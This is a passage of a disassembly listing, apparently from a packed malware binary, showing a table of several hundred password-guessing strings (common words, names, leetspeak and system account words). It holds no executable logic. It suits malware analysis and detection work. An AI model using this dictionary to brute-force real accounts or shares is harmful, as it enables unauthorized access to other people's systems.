		dd offset aZmodem	; "zmodem"
		dd offset aZombie	; "zombie"
		dd offset aZulu		; "zulu"
		dd offset a00000000	; "00000000"
		dd offset aTester	; "tester"
		dd offset aTestin	; "testin"
		dd offset aRoss		; "Ross"
		dd offset aRosco	; "Rosco"
		dd offset aRoscop	; "RoscoP"
		dd offset aRoscopcoltrane ; "RoscoPColtrane"
		dd offset aLol		; "lol"
		dd offset aD00d		; "d00d"
		dd offset aDudette	; "dudette"
		dd offset aDud3		; "dud3"
		dd offset aAl3x		; "Al3x"
		dd offset aAlexander	; "Alexander"
		dd offset aDonaldduck	; "donaldduck"
		dd offset aWileecoyote	; "wileecoyote"
		dd offset aWindowz	; "windowz"
		dd offset aWindoze	; "windoze"
		dd offset aWindose	; "windose"
		dd offset aBilly	; "billy"
		dd offset aM_0		; "M$"
		dd offset aMs		; "MS"
		dd offset aWindowsxp	; "WindowsXP"
		dd offset aWindows2k	; "windows2k"
		dd offset aWindowsme	; "windowsME"
		dd offset aWindows98	; "windows98"
		dd offset aWindows95	; "windows95"
		dd offset aWindozexp	; "windozexp"
		dd offset aWindoze2k	; "windoze2k"
		dd offset aWindozeme	; "windozeME"
		dd offset aWindoze98	; "windoze98"
		dd offset aWindoze95	; "windoze95"
		dd offset aWh0r3	; "wh0r3"
		dd offset aHo		; "ho"
		dd offset aWh0re	; "wh0re"
		dd offset aHax		; "hax"
		dd offset aHaxing	; "haxing"
		dd offset aH4x1ng	; "h4x1ng"
		dd offset aH4x0r1ng	; "h4x0r1ng"
		dd offset aH4x0ring	; "h4x0ring"
		dd offset aAda		; "ada"
		dd offset aAlbatross	; "albatross"
		dd offset aAlf		; "alf"
		dd offset aAma		; "ama"
		dd offset aAmorphous	; "amorphous"
		dd offset aAmy		; "amy"
		dd offset aAndromache	; "andromache"
		dd offset aAnn		; "ann"
		dd offset aAnthropogenic ; "anthropogenic"
		dd offset aAsd		; "asd"
		dd offset aAsm		; "asm"
		dd offset aAtmosphere	; "atmosphere"
		dd offset aBeethoven	; "beethoven"
		dd offset aBicameral	; "bicameral"
		dd offset aBob		; "bob"
		dd offset aBsd		; "bsd"
		dd offset aCad		; "cad"
		dd offset aCampanile	; "campanile"
		dd offset aCat		; "cat"
		dd offset aCatherine	; "catherine"
		dd offset aChemistry	; "chemistry"
		dd offset aChristina	; "christina"
		dd offset aChristine	; "christine"
		dd offset aCommrades	; "commrades"
		dd offset aCornelius	; "cornelius"
		dd offset aDeb		; "deb"
		dd offset aDesperate	; "desperate"
		dd offset aDiscovery	; "discovery"
		dd offset aDog		; "dog"
		dd offset aDos		; "dos"
		dd offset aEdinburgh	; "edinburgh"
		dd offset aEiderdown	; "eiderdown"
		dd offset aElizabeth	; "elizabeth"
		dd offset aEnterprise	; "enterprise"
		dd offset aEstablish	; "establish"
		dd offset aExtension	; "extension"
		dd offset aFoolproof	; "foolproof"
		dd offset aForesight	; "foresight"
		dd offset aFun		; "fun"
		dd offset aGnu		; "gnu"
		dd offset aHal		; "hal"
		dd offset aHappening	; "happening"
		dd offset aIbm		; "ibm"
		dd offset aImbroglio	; "imbroglio"
		dd offset aInnocuous	; "innocuous"
		dd offset aJen		; "jen"
		dd offset aJoy		; "joy"
		dd offset aKey		; "key"
		dd offset aKim		; "kim"
		dd offset aLamination	; "lamination"
		dd offset aLee		; "lee"
		dd offset aLiz		; "liz"
		dd offset aMacintosh	; "macintosh"
		dd offset aMgr		; "mgr"
		dd offset aMit		; "mit"
		dd offset aNet		; "net"
		dd offset aNew		; "new"
		dd offset aNutrition	; "nutrition"
		dd offset aOceanography	; "oceanography"
		dd offset aPad		; "pad"
		dd offset aPam		; "pam"
		dd offset aPercolate	; "percolate"
		dd offset aPersimmon	; "persimmon"
		dd offset aPolynomial	; "polynomial"
		dd offset aPondering	; "pondering"
		dd offset aPrinceton	; "princeton"
		dd offset aProfessor	; "professor"
		dd offset aPub		; "pub"
		dd offset aRachmaninoff	; "rachmaninoff"
		dd offset aRje		; "rje"
		dd offset aRochester	; "rochester"
		dd offset aSal		; "sal"
		dd offset aSheffield	; "sheffield"
		dd offset aSignature	; "signature"
		dd offset aStephanie	; "stephanie"
		dd offset aStratford	; "stratford"
		dd offset aStuttgart	; "stuttgart"
		dd offset aSun		; "sun"
		dd offset aSuperstage	; "superstage"
		dd offset aSuperuser	; "superuser"
		dd offset aSupported	; "supported"
		dd offset aSys		; "sys"
		dd offset aTangerine	; "tangerine"
		dd offset aTelephone	; "telephone"
		dd offset aTemptation	; "temptation"
		dd offset aTopography	; "topography"
		dd offset aTty		; "tty"
		dd offset aWholesale	; "wholesale"
		dd offset aWilliamsburg	; "williamsburg"
		dd offset aWisconsin	; "wisconsin"
		dd offset aXyz		; "xyz"
		dd offset aYellowstone	; "yellowstone"
		dd offset aZap		; "zap"
		dd offset aZimmerman	; "zimmerman"
		dd offset byte_4397BC
		align 10h
dword_4303A0	dd 10h			; DATA XREF: sub_40BE77+72w
					; sub_40EE51+B5Fr ...
aZimmerman	db 'zimmerman',0        ; DATA XREF: UPX0:00430394o
		align 10h
aZap		db 'zap',0              ; DATA XREF: UPX0:00430390o
aYellowstone	db 'yellowstone',0      ; DATA XREF: UPX0:0043038Co
aXyz		db 'xyz',0              ; DATA XREF: UPX0:00430388o
aWisconsin	db 'wisconsin',0        ; DATA XREF: UPX0:00430384o
		align 10h
aWilliamsburg	db 'williamsburg',0     ; DATA XREF: UPX0:00430380o
		align 10h
aWholesale	db 'wholesale',0        ; DATA XREF: UPX0:0043037Co
		align 4
aTty		db 'tty',0              ; DATA XREF: UPX0:00430378o
aTopography	db 'topography',0       ; DATA XREF: UPX0:00430374o
		align 4
aTemptation	db 'temptation',0       ; DATA XREF: UPX0:00430370o
		align 4
aTelephone	db 'telephone',0        ; DATA XREF: UPX0:0043036Co
		align 4
aTangerine	db 'tangerine',0        ; DATA XREF: UPX0:00430368o
		align 10h
aSys		db 'sys',0              ; DATA XREF: UPX0:00430364o
aSupported	db 'supported',0        ; DATA XREF: UPX0:00430360o
		align 10h
aSuperuser	db 'superuser',0        ; DATA XREF: UPX0:0043035Co
		align 4
aSuperstage	db 'superstage',0       ; DATA XREF: UPX0:00430358o
		align 4
aSun		db 'sun',0              ; DATA XREF: UPX0:00430354o
aStuttgart	db 'stuttgart',0        ; DATA XREF: UPX0:00430350o
		align 4
aStratford	db 'stratford',0        ; DATA XREF: UPX0:0043034Co
		align 4
aStephanie	db 'stephanie',0        ; DATA XREF: UPX0:00430348o
		align 10h
aSignature	db 'signature',0        ; DATA XREF: UPX0:00430344o
		align 4
aSheffield	db 'sheffield',0        ; DATA XREF: UPX0:00430340o
		align 4
aSal		db 'sal',0              ; DATA XREF: UPX0:0043033Co
aRochester	db 'rochester',0        ; DATA XREF: UPX0:00430338o
		align 4
aRje		db 'rje',0              ; DATA XREF: UPX0:00430334o
aRachmaninoff	db 'rachmaninoff',0     ; DATA XREF: UPX0:00430330o
		align 4
aPub		db 'pub',0              ; DATA XREF: UPX0:0043032Co
aProfessor	db 'professor',0        ; DATA XREF: UPX0:00430328o
		align 4
aPrinceton	db 'princeton',0        ; DATA XREF: UPX0:00430324o
		align 4
aPondering	db 'pondering',0        ; DATA XREF: UPX0:00430320o
		align 4
aPolynomial	db 'polynomial',0       ; DATA XREF: UPX0:0043031Co
		align 10h
aPersimmon	db 'persimmon',0        ; DATA XREF: UPX0:00430318o
		align 4
aPercolate	db 'percolate',0        ; DATA XREF: UPX0:00430314o
		align 4
aPam		db 'pam',0              ; DATA XREF: UPX0:00430310o
aPad		db 'pad',0              ; DATA XREF: UPX0:0043030Co
aOceanography	db 'oceanography',0     ; DATA XREF: UPX0:00430308o
		align 10h
aNutrition	db 'nutrition',0        ; DATA XREF: UPX0:00430304o
		align 4
aNew		db 'new',0              ; DATA XREF: UPX0:00430300o
aNet		db 'net',0              ; DATA XREF: UPX0:004302FCo
aMit		db 'mit',0              ; DATA XREF: UPX0:004302F8o
aMgr		db 'mgr',0              ; DATA XREF: UPX0:004302F4o
aMacintosh	db 'macintosh',0        ; DATA XREF: UPX0:004302F0o
		align 4
aLiz		db 'liz',0              ; DATA XREF: UPX0:004302ECo
aLee		db 'lee',0              ; DATA XREF: UPX0:004302E8o
aLamination	db 'lamination',0       ; DATA XREF: UPX0:004302E4o
		align 4
aKim		db 'kim',0              ; DATA XREF: UPX0:004302E0o
aJoy		db 'joy',0              ; DATA XREF: UPX0:004302D8o
aJen		db 'jen',0              ; DATA XREF: UPX0:004302D4o
aInnocuous	db 'innocuous',0        ; DATA XREF: UPX0:004302D0o
		align 4
aImbroglio	db 'imbroglio',0        ; DATA XREF: UPX0:004302CCo
		align 10h
aIbm		db 'ibm',0              ; DATA XREF: UPX0:004302C8o
aHappening	db 'happening',0        ; DATA XREF: UPX0:004302C4o
		align 10h
aHal		db 'hal',0              ; DATA XREF: UPX0:004302C0o
aGnu		db 'gnu',0              ; DATA XREF: UPX0:004302BCo
aFun		db 'fun',0              ; DATA XREF: UPX0:004302B8o
aForesight	db 'foresight',0        ; DATA XREF: UPX0:004302B4o
		align 4
aFoolproof	db 'foolproof',0        ; DATA XREF: UPX0:004302B0o
		align 4
aExtension	db 'extension',0        ; DATA XREF: UPX0:004302ACo
		align 10h
aEstablish	db 'establish',0        ; DATA XREF: UPX0:004302A8o
		align 4
aEnterprise	db 'enterprise',0       ; DATA XREF: UPX0:004302A4o
		align 4
aElizabeth	db 'elizabeth',0        ; DATA XREF: UPX0:004302A0o
		align 4
aEiderdown	db 'eiderdown',0        ; DATA XREF: UPX0:0043029Co
		align 10h
aEdinburgh	db 'edinburgh',0        ; DATA XREF: UPX0:00430298o
		align 4
aDos		db 'dos',0              ; DATA XREF: UPX0:00430294o
aDog		db 'dog',0              ; DATA XREF: UPX0:00430290o
aDiscovery	db 'discovery',0        ; DATA XREF: UPX0:0043028Co
		align 10h
aDesperate	db 'desperate',0        ; DATA XREF: UPX0:00430288o
		align 4
aDeb		db 'deb',0              ; DATA XREF: UPX0:00430284o
aCornelius	db 'cornelius',0        ; DATA XREF: UPX0:00430280o
		align 4
aCommrades	db 'commrades',0        ; DATA XREF: UPX0:0043027Co
		align 4
aChristine	db 'christine',0        ; DATA XREF: UPX0:00430278o
		align 4
aChristina	db 'christina',0        ; DATA XREF: UPX0:00430274o
		align 10h
aChemistry	db 'chemistry',0        ; DATA XREF: UPX0:00430270o
		align 4
aCatherine	db 'catherine',0        ; DATA XREF: UPX0:0043026Co
		align 4
aCat		db 'cat',0              ; DATA XREF: UPX0:00430268o
aCampanile	db 'campanile',0        ; DATA XREF: UPX0:00430264o
		align 4
aCad		db 'cad',0              ; DATA XREF: UPX0:00430260o
aBsd		db 'bsd',0              ; DATA XREF: UPX0:0043025Co
aBob		db 'bob',0              ; DATA XREF: UPX0:00430258o
aBicameral	db 'bicameral',0        ; DATA XREF: UPX0:00430254o
		align 10h
aBeethoven	db 'beethoven',0        ; DATA XREF: UPX0:00430250o
		align 4
aAtmosphere	db 'atmosphere',0       ; DATA XREF: UPX0:0043024Co
		align 4
aAsm		db 'asm',0              ; DATA XREF: UPX0:00430248o
aAsd		db 'asd',0              ; DATA XREF: UPX0:00430244o
aAnthropogenic	db 'anthropogenic',0    ; DATA XREF: UPX0:00430240o
		align 10h
aAnn		db 'ann',0              ; DATA XREF: UPX0:0043023Co
aAndromache	db 'andromache',0       ; DATA XREF: UPX0:00430238o
		align 10h
aAmy		db 'amy',0              ; DATA XREF: UPX0:00430234o
aAmorphous	db 'amorphous',0        ; DATA XREF: UPX0:00430230o
		align 10h
aAma		db 'ama',0              ; DATA XREF: UPX0:0043022Co
aAlf		db 'alf',0              ; DATA XREF: UPX0:00430228o
aAlbatross	db 'albatross',0        ; DATA XREF: UPX0:00430224o
		align 4
aAda		db 'ada',0              ; DATA XREF: UPX0:00430220o
aH4x0ring	db 'h4x0ring',0         ; DATA XREF: UPX0:0043021Co
		align 4
aH4x0r1ng	db 'h4x0r1ng',0         ; DATA XREF: UPX0:00430218o
		align 10h
aH4x1ng		db 'h4x1ng',0           ; DATA XREF: UPX0:00430214o
		align 4
aHaxing		db 'haxing',0           ; DATA XREF: UPX0:00430210o
		align 10h
aHax		db 'hax',0              ; DATA XREF: UPX0:0043020Co
aWh0re		db 'wh0re',0            ; DATA XREF: UPX0:00430208o
		align 4
aHo		db 'ho',0               ; DATA XREF: UPX0:00430204o
		align 10h
aWh0r3		db 'wh0r3',0            ; DATA XREF: UPX0:00430200o
		align 4
aWindoze95	db 'windoze95',0        ; DATA XREF: UPX0:004301FCo
		align 4
aWindoze98	db 'windoze98',0        ; DATA XREF: UPX0:004301F8o
		align 10h
aWindozeme	db 'windozeME',0        ; DATA XREF: UPX0:004301F4o
		align 4
aWindoze2k	db 'windoze2k',0        ; DATA XREF: UPX0:004301F0o
		align 4
aWindozexp	db 'windozexp',0        ; DATA XREF: UPX0:004301ECo
		align 4
aWindows95	db 'windows95',0        ; DATA XREF: UPX0:004301E8o
		align 10h
aWindows98	db 'windows98',0        ; DATA XREF: UPX0:004301E4o
		align 4
aWindowsme	db 'windowsME',0        ; DATA XREF: UPX0:004301E0o
		align 4
aWindows2k	db 'windows2k',0        ; DATA XREF: UPX0:004301DCo
		align 4
aWindowsxp	db 'WindowsXP',0        ; DATA XREF: UPX0:004301D8o
		align 10h
aMs		db 'MS',0               ; DATA XREF: UPX0:004301D4o
		align 4
aM_0		db 'M$',0               ; DATA XREF: UPX0:004301D0o
		align 4
aBilly		db 'billy',0            ; DATA XREF: UPX0:004301CCo
		align 10h
aWindose	db 'windose',0          ; DATA XREF: UPX0:004301C8o
aWindoze	db 'windoze',0          ; DATA XREF: UPX0:004301C4o
aWindowz	db 'windowz',0          ; DATA XREF: UPX0:004301C0o
aWileecoyote	db 'wileecoyote',0      ; DATA XREF: UPX0:004301BCo
aDonaldduck	db 'donaldduck',0       ; DATA XREF: UPX0:004301B8o
		align 10h
aAlexander	db 'Alexander',0        ; DATA XREF: UPX0:004301B4o
		align 4
aAl3x		db 'Al3x',0             ; DATA XREF: UPX0:004301B0o
		align 4
aDud3		db 'dud3',0             ; DATA XREF: UPX0:004301ACo
		align 4
aDudette	db 'dudette',0          ; DATA XREF: UPX0:004301A8o
aD00d		db 'd00d',0             ; DATA XREF: UPX0:004301A4o
		align 4
aLol		db 'lol',0              ; DATA XREF: UPX0:004301A0o
aRoscopcoltrane	db 'RoscoPColtrane',0   ; DATA XREF: UPX0:0043019Co
		align 10h
aRoscop		db 'RoscoP',0           ; DATA XREF: UPX0:00430198o
		align 4
aRosco		db 'Rosco',0            ; DATA XREF: UPX0:00430194o
		align 10h
aRoss		db 'Ross',0             ; DATA XREF: UPX0:00430190o
		align 4
aTestin		db 'testin',0           ; DATA XREF: UPX0:0043018Co
		align 10h
aTester		db 'tester',0           ; DATA XREF: UPX0:00430188o
		align 4
a00000000	db '00000000',0         ; DATA XREF: UPX0:00430184o
		align 4
aZulu		db 'zulu',0             ; DATA XREF: UPX0:00430180o
		align 4
aZombie		db 'zombie',0           ; DATA XREF: UPX0:0043017Co
		align 4
aZmodem		db 'zmodem',0           ; DATA XREF: UPX0:00430178o
		align 4
aZimmerma	db 'zimmerma',0         ; DATA XREF: UPX0:00430174o
		align 4
aZiggy		db 'ziggy',0            ; DATA XREF: UPX0:00430170o
		align 10h
aZeitgeis	db 'zeitgeis',0         ; DATA XREF: UPX0:0043016Co
		align 4
aZebra		db 'zebra',0            ; DATA XREF: UPX0:00430168o
		align 4
aYoung		db 'young',0            ; DATA XREF: UPX0:00430164o
		align 4
aYosemite	db 'yosemite',0         ; DATA XREF: UPX0:00430160o
		align 4
aYolanda	db 'yolanda',0          ; DATA XREF: UPX0:0043015Co
aYellowst	db 'yellowst',0         ; DATA XREF: UPX0:00430158o
		align 4
aYellow		db 'yellow',0           ; DATA XREF: UPX0:00430154o
		align 4
aYankee		db 'yankee',0           ; DATA XREF: UPX0:00430150o
		align 4
aYang		db 'yang',0             ; DATA XREF: UPX0:0043014Co
		align 4
aYaco		db 'yaco',0             ; DATA XREF: UPX0:00430148o
		align 4
aXyzzy		db 'xyzzy',0            ; DATA XREF: UPX0:00430144o
		align 4
aXray		db 'xray',0             ; DATA XREF: UPX0:00430140o
		align 4
aXmodem		db 'xmodem',0           ; DATA XREF: UPX0:0043013Co
		align 4
aXmen		db 'xmen',0             ; DATA XREF: UPX0:00430138o
		align 4
aXman		db 'xman',0             ; DATA XREF: UPX0:00430134o
		align 4
aXfer		db 'xfer',0             ; DATA XREF: UPX0:00430130o
		align 4
aXena		db 'xena',0             ; DATA XREF: UPX0:0043012Co
		align 4
aWyoming	db 'wyoming',0          ; DATA XREF: UPX0:00430128o
aWwii		db 'wwii',0             ; DATA XREF: UPX0:00430124o
		align 4
aWormwood	db 'wormwood',0         ; DATA XREF: UPX0:00430120o
		align 10h
aWorm		db 'worm',0             ; DATA XREF: UPX0:0043011Co
		align 4
aWork		db 'work',0             ; DATA XREF: UPX0:00430118o
		align 10h
aWorf		db 'worf',0             ; DATA XREF: UPX0:00430114o
		align 4
aWordperf	db 'wordperf',0         ; DATA XREF: UPX0:00430110o
		align 4
aWord		db 'word',0             ; DATA XREF: UPX0:0043010Co
		align 4
aWoodwind	db 'woodwind',0         ; DATA XREF: UPX0:00430108o
		align 4
aWood		db 'wood',0             ; DATA XREF: UPX0:00430104o
		align 10h
aWomen		db 'women',0            ; DATA XREF: UPX0:00430100o
		align 4
aWombat		db 'wombat',0           ; DATA XREF: UPX0:004300FCo
		align 10h
aWoman		db 'woman',0            ; DATA XREF: UPX0:004300F8o
		align 4
aWolverin	db 'wolverin',0         ; DATA XREF: UPX0:004300F4o
		align 4
aWolf		db 'wolf',0             ; DATA XREF: UPX0:004300F0o
		align 4
aWizard		db 'wizard',0           ; DATA XREF: UPX0:004300ECo
		align 4
aWithin		db 'within',0           ; DATA XREF: UPX0:004300E8o
		align 4
aWiseass	db 'wiseass',0          ; DATA XREF: UPX0:004300E4o
aWisconsi	db 'wisconsi',0         ; DATA XREF: UPX0:004300E0o
		align 10h
aWired		db 'wired',0            ; DATA XREF: UPX0:004300DCo
		align 4
aWinston	db 'winston',0          ; DATA XREF: UPX0:004300D8o
aWing		db 'wing',0             ; DATA XREF: UPX0:004300D4o
		align 4
aWine		db 'wine',0             ; DATA XREF: UPX0:004300D0o
		align 10h
aWindows	db 'windows',0          ; DATA XREF: UPX0:004300CCo
aWilma		db 'wilma',0            ; DATA XREF: UPX0:004300C8o
		align 10h
aWillie		db 'willie',0           ; DATA XREF: UPX0:004300C4o
		align 4
aWilliams	db 'williams',0         ; DATA XREF: UPX0:004300C0o
		align 4
aWilliam	db 'william',0          ; DATA XREF: UPX0:004300BCo
aWill		db 'will',0             ; DATA XREF: UPX0:004300B8o
		align 4
aWhore		db 'whore',0            ; DATA XREF: UPX0:004300B4o
		align 4
aWholesal	db 'wholesal',0         ; DATA XREF: UPX0:004300B0o
		align 4
aWhitney	db 'whitney',0          ; DATA XREF: UPX0:004300ACo
aWhiting	db 'whiting',0          ; DATA XREF: UPX0:004300A8o
aWhite		db 'white',0            ; DATA XREF: UPX0:004300A4o
		align 10h
aWhisky		db 'whisky',0           ; DATA XREF: UPX0:004300A0o
		align 4
aWhatnot	db 'whatnot',0          ; DATA XREF: UPX0:0043009Co
aWhatever	db 'whatever',0         ; DATA XREF: UPX0:00430098o
		align 4
aWestern	db 'western',0          ; DATA XREF: UPX0:00430094o
aWest		db 'west',0             ; DATA XREF: UPX0:00430090o
		align 4
aWerewolf	db 'werewolf',0         ; DATA XREF: UPX0:0043008Co
		align 4
aWendy		db 'wendy',0            ; DATA XREF: UPX0:00430088o
		align 10h
aWendi		db 'wendi',0            ; DATA XREF: UPX0:00430084o
		align 4
aWell		db 'well',0             ; DATA XREF: UPX0:00430080o
		align 10h
aWeenie		db 'weenie',0           ; DATA XREF: UPX0:0043007Co
		align 4
aWeed		db 'weed',0             ; DATA XREF: UPX0:00430078o
		align 10h
aWednesda	db 'wednesda',0         ; DATA XREF: UPX0:00430074o
		align 4
aWebpage	db 'webpage',0          ; DATA XREF: UPX0:00430070o
aWave		db 'wave',0             ; DATA XREF: UPX0:0043006Co
		align 4
aWater		db 'water',0            ; DATA XREF: UPX0:00430068o
		align 4
aWatchwor	db 'watchwor',0         ; DATA XREF: UPX0:00430064o
		align 10h
aWasp		db 'wasp',0             ; DATA XREF: UPX0:00430060o
		align 4
aWarren		db 'warren',0           ; DATA XREF: UPX0:off_43005Co
		align 10h
aWarp		db 'warp',0             ; DATA XREF: UPX0:00430058o
		align 4
aWargames	db 'wargames',0         ; DATA XREF: UPX0:00430054o
		align 4
aWarfare	db 'warfare',0          ; DATA XREF: UPX0:off_430050o
aWarez		db 'warez',0            ; DATA XREF: UPX0:0043004Co
		align 4
aWard		db 'ward',0             ; DATA XREF: UPX0:00430048o
		align 4
aWaco		db 'waco',0             ; DATA XREF: UPX0:00430044o
		align 4
aVodka		db 'vodka',0            ; DATA XREF: UPX0:00430040o
		align 4
aVisualba	db 'visualba',0         ; DATA XREF: UPX0:0043003Co
		align 4
aVisual		db 'visual',0           ; DATA XREF: UPX0:00430038o
		align 10h
aVisitor	db 'visitor',0          ; DATA XREF: UPX0:00430034o
aVirus		db 'virus',0            ; DATA XREF: UPX0:00430030o
		align 10h
aVirginia	db 'virginia',0         ; DATA XREF: UPX0:0043002Co
		align 4
aVirgin		db 'virgin',0           ; DATA XREF: UPX0:00430028o
		align 4
aVillage	db 'village',0          ; DATA XREF: UPX0:00430024o
aVideogam	db 'videogam',0         ; DATA XREF: UPX0:00430020o
		align 4
; char aVideo[]
aVideo		db 'video',0            ; DATA XREF: sub_40EE51:loc_413581o
					; UPX0:0043001Co
		align 10h
aVictor		db 'victor',0           ; DATA XREF: UPX0:00430018o
		align 4
aVicky		db 'vicky',0            ; DATA XREF: UPX0:00430014o
		align 10h
aVertigo	db 'vertigo',0          ; DATA XREF: UPX0:00430010o
aVeronica	db 'veronica',0         ; DATA XREF: UPX0:0043000Co
		align 4
aVenus		db 'venus',0            ; DATA XREF: UPX0:00430008o
		align 4
aVasant		db 'vasant',0           ; DATA XREF: UPX0:00430004o
		align 4
aVampire	db 'vampire',0          ; DATA XREF: UPX0:00430000o
aValerie	db 'valerie',0          ; DATA XREF: UPX0:0042FFFCo
aVagina		db 'vagina',0           ; DATA XREF: UPX0:0042FFF8o
		align 4
aUucp		db 'uucp',0             ; DATA XREF: UPX0:0042FFF4o
		align 4
aUtility	db 'utility',0          ; DATA XREF: UPX0:0042FFF0o
aUtil		db 'util',0             ; DATA XREF: UPX0:0042FFECo
		align 4
aUsmc		db 'usmc',0             ; DATA XREF: UPX0:0042FFE8o
		align 4
aUsername	db 'username',0         ; DATA XREF: UPX0:0042FFE4o
		align 4
aUsermane	db 'usermane',0         ; DATA XREF: UPX0:0042FFE0o
		align 4
aUsenet		db 'usenet',0           ; DATA XREF: UPX0:0042FFDCo
		align 4
aUrsula		db 'ursula',0           ; DATA XREF: UPX0:0042FFD8o
		align 4
aUrchin		db 'urchin',0           ; DATA XREF: UPX0:0042FFD4o
		align 4
aUranus		db 'uranus',0           ; DATA XREF: UPX0:0042FFD0o
		align 4
aUpload		db 'upload',0           ; DATA XREF: UPX0:0042FFCCo
		align 4
aUnlock		db 'unlock',0           ; DATA XREF: UPX0:0042FFC8o
		align 4
aUnknown_1	db 'unknown',0          ; DATA XREF: UPX0:0042FFC4o
aUniversi	db 'universi',0         ; DATA XREF: UPX0:0042FFC0o
		align 4
aUniverse	db 'universe',0         ; DATA XREF: UPX0:0042FFBCo
		align 4
aUniversa	db 'universa',0         ; DATA XREF: UPX0:0042FFB8o
		align 10h
aUniform	db 'uniform',0          ; DATA XREF: UPX0:0042FFB4o
aUnicorn	db 'unicorn',0          ; DATA XREF: UPX0:0042FFB0o
aUnhappy	db 'unhappy',0          ; DATA XREF: UPX0:0042FFACo
aUndo		db 'undo',0             ; DATA XREF: UPX0:0042FFA8o
		align 10h
aUncle		db 'uncle',0            ; DATA XREF: UPX0:0042FFA4o
		align 4
aUmesh		db 'umesh',0            ; DATA XREF: UPX0:0042FFA0o
		align 10h
aUgly		db 'ugly',0             ; DATA XREF: UPX0:0042FF9Co
		align 4
aTuttle		db 'tuttle',0           ; DATA XREF: UPX0:0042FF98o
		align 10h
aTurn		db 'turn',0             ; DATA XREF: UPX0:0042FF94o
		align 4
aTuesday	db 'tuesday',0          ; DATA XREF: UPX0:0042FF90o
aTubas		db 'tubas',0            ; DATA XREF: UPX0:0042FF8Co
		align 4
aTruth		db 'truth',0            ; DATA XREF: UPX0:0042FF88o
		align 10h
aTrue		db 'true',0             ; DATA XREF: UPX0:0042FF84o
		align 4
aTron		db 'tron',0             ; DATA XREF: UPX0:0042FF80o
		align 10h
aTrombone	db 'trombone',0         ; DATA XREF: UPX0:0042FF7Co
		align 4
aTrojan		db 'trojan',0           ; DATA XREF: UPX0:0042FF78o
		align 4
aTrivial	db 'trivial',0          ; DATA XREF: UPX0:0042FF74o
aTrisha		db 'trisha',0           ; DATA XREF: UPX0:0042FF70o
		align 4
aTrek		db 'trek',0             ; DATA XREF: UPX0:0042FF6Co
		align 4
aTree		db 'tree',0             ; DATA XREF: UPX0:0042FF68o
		align 4
aTrapdoor	db 'trapdoor',0         ; DATA XREF: UPX0:0042FF64o
		align 10h
aTrap		db 'trap',0             ; DATA XREF: UPX0:0042FF60o
		align 4
aTransfer_0	db 'transfer',0         ; DATA XREF: UPX0:0042FF5Co
		align 4
aTrails		db 'trails',0           ; DATA XREF: UPX0:0042FF58o
		align 4
aTracy		db 'tracy',0            ; DATA XREF: UPX0:0042FF54o
		align 4
aTracie		db 'tracie',0           ; DATA XREF: UPX0:0042FF50o
		align 4
aTraci		db 'traci',0            ; DATA XREF: UPX0:0042FF4Co
		align 4
aToyota		db 'toyota',0           ; DATA XREF: UPX0:0042FF48o
		align 4
aToxic		db 'toxic',0            ; DATA XREF: UPX0:0042FF44o
		align 4
aTortoise	db 'tortoise',0         ; DATA XREF: UPX0:0042FF40o
		align 10h
aTopograp	db 'topograp',0         ; DATA XREF: UPX0:0042FF3Co
		align 4
aTomato		db 'tomato',0           ; DATA XREF: UPX0:0042FF38o
		align 4
aTokenrin	db 'tokenrin',0         ; DATA XREF: UPX0:0042FF34o
		align 10h
aToken		db 'token',0            ; DATA XREF: UPX0:0042FF30o
		align 4
aToggle		db 'toggle',0           ; DATA XREF: UPX0:0042FF2Co
		align 10h
aToad		db 'toad',0             ; DATA XREF: UPX0:0042FF28o
		align 4
aTits		db 'tits',0             ; DATA XREF: UPX0:0042FF24o
		align 10h
aTina		db 'tina',0             ; DATA XREF: UPX0:0042FF20o
		align 4
aTime		db 'time',0             ; DATA XREF: UPX0:0042FF1Co
		align 10h
aTiger		db 'tiger',0            ; DATA XREF: UPX0:0042FF18o
		align 4
aTiffany	db 'tiffany',0          ; DATA XREF: UPX0:0042FF14o
aThursday	db 'thursday',0         ; DATA XREF: UPX0:0042FF10o
		align 4
aThin		db 'thin',0             ; DATA XREF: UPX0:0042FF0Co
		align 4
aTheresa	db 'theresa',0          ; DATA XREF: UPX0:0042FF08o
aThailand	db 'thailand',0         ; DATA XREF: UPX0:0042FF04o
		align 4
aText		db 'text',0             ; DATA XREF: UPX0:0042FF00o
		align 10h
aTetris		db 'tetris',0           ; DATA XREF: UPX0:0042FEFCo
		align 4
aTess		db 'tess',0             ; DATA XREF: UPX0:0042FEF8o
		align 10h
aTerminat	db 'terminat',0         ; DATA XREF: UPX0:0042FEF4o
		align 4
aTerminal	db 'terminal',0         ; DATA XREF: UPX0:0042FEF0o
		align 4
aTera		db 'tera',0             ; DATA XREF: UPX0:0042FEECo
		align 10h
aTennis		db 'tennis',0           ; DATA XREF: UPX0:0042FEE8o
		align 4
aTemptati	db 'temptati',0         ; DATA XREF: UPX0:0042FEE4o
		align 4
aTelnet		db 'telnet',0           ; DATA XREF: UPX0:0042FEE0o
		align 4
aTelephon	db 'telephon',0         ; DATA XREF: UPX0:0042FEDCo
		align 4
aTeenage	db 'teenage',0          ; DATA XREF: UPX0:0042FED8o
aTeen		db 'teen',0             ; DATA XREF: UPX0:0042FED4o
		align 4
aTech		db 'tech',0             ; DATA XREF: UPX0:0042FED0o
		align 10h
aTears		db 'tears',0            ; DATA XREF: UPX0:0042FECCo
		align 4
aTeapot		db 'teapot',0           ; DATA XREF: UPX0:0042FEC8o
		align 10h
aTeam		db 'team',0             ; DATA XREF: UPX0:0042FEC4o
		align 4
aTaylor		db 'taylor',0           ; DATA XREF: UPX0:0042FEBCo
		align 10h
aTarragon	db 'tarragon',0         ; DATA XREF: UPX0:0042FEB8o
		align 4
aTarget		db 'target',0           ; DATA XREF: UPX0:0042FEB4o
		align 4
aTara		db 'tara',0             ; DATA XREF: UPX0:0042FEB0o
		align 4
aTape		db 'tape',0             ; DATA XREF: UPX0:0042FEACo
		align 4
aTango		db 'tango',0            ; DATA XREF: UPX0:0042FEA8o
		align 4
aTangerin	db 'tangerin',0         ; DATA XREF: UPX0:0042FEA4o
		align 4
aTammy		db 'tammy',0            ; DATA XREF: UPX0:0042FEA0o
		align 10h
aTamie		db 'tamie',0            ; DATA XREF: UPX0:0042FE9Co
		align 4
aTami		db 'tami',0             ; DATA XREF: UPX0:0042FE98o
		align 10h
aTamara		db 'tamara',0           ; DATA XREF: UPX0:0042FE94o
		align 4
aTall		db 'tall',0             ; DATA XREF: UPX0:0042FE90o
		align 10h
aTalk		db 'talk',0             ; DATA XREF: UPX0:0042FE8Co
		align 4
aTabasco	db 'tabasco',0          ; DATA XREF: UPX0:0042FE88o
aSysop		db 'sysop',0            ; DATA XREF: UPX0:0042FE84o
		align 4
